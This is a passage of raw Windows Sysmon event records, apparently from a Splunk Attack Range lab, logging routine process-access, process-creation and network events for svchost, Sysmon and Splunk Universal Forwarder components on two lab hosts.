14:52:32.435{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015274Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:32.435{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-7130-613B-CD04-00000000F101}2924C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000015273Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:32.435{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-7130-613B-CD04-00000000F101}2924C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000015272Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:32.435{625C326B-7130-613B-CD04-00000000F101}2924C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000015304Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:33.950{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E7406EA2941451AB7837117B9109ED63,SHA256=C705E708DCC6D4C8B3BA8DD54143B750C980BB1D84123248AD517B418894CE1B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015303Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:33.950{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=F32F77D2B66163CEC8E836FD530F8555,SHA256=8535466D287E92C3804F2FF7E12A2A8DC45F97430229014842717D453342CCA6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047667Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:33.732{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1DBCBA76515FC73E23778BB0BA2F5D46,SHA256=87B73A345982F91199138F52B08A56753506C15391C48B140C5859BDB35AF140,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015302Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:31.478{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50216-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000015301Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:32.997{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=F32F77D2B66163CEC8E836FD530F8555,SHA256=8535466D287E92C3804F2FF7E12A2A8DC45F97430229014842717D453342CCA6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015300Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:32.997{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=17DEFA954BB7ED25A2084AD13800C379,SHA256=A57690575B88C5014CDE45F529CC439F1E2F7872818529E967AFB80DB74B07BB,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047668Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:34.763{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E67CE245A8951241F582F0EEBECE7A14,SHA256=9C4A77C6778084A58E8F90BA86937C8CF9AA8672358F0BDD48283C3D52E1D6BC,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015319Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:34.966{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=90FCF105327E39909E3AAA719ECA95BD,SHA256=58A737E850A66D4EDCE7CC2DB3597A8307054C13C61805F6B7DA52122D0C52BC,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000015318Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:34.357{625C326B-7132-613B-CF04-00000000F101}31042732C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015317Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:34.138{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-7132-613B-CF04-00000000F101}3104C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015316Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:34.138{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015315Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:34.138{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015314Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:34.138{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015313Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:34.138{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015312Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:34.138{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015311Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:34.138{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015310Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:34.138{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015309Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:34.138{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015308Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:34.138{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-7132-613B-CF04-00000000F101}3104C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000015307Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:34.138{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015306Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:34.138{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-7132-613B-CF04-00000000F101}3104C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000015305Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:34.139{625C326B-7132-613B-CF04-00000000F101}3104C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000015347Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:35.904{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-7133-613B-D104-00000000F101}2900C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015346Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:35.904{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015345Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:35.904{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015344Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:35.904{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015343Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:35.904{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015342Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 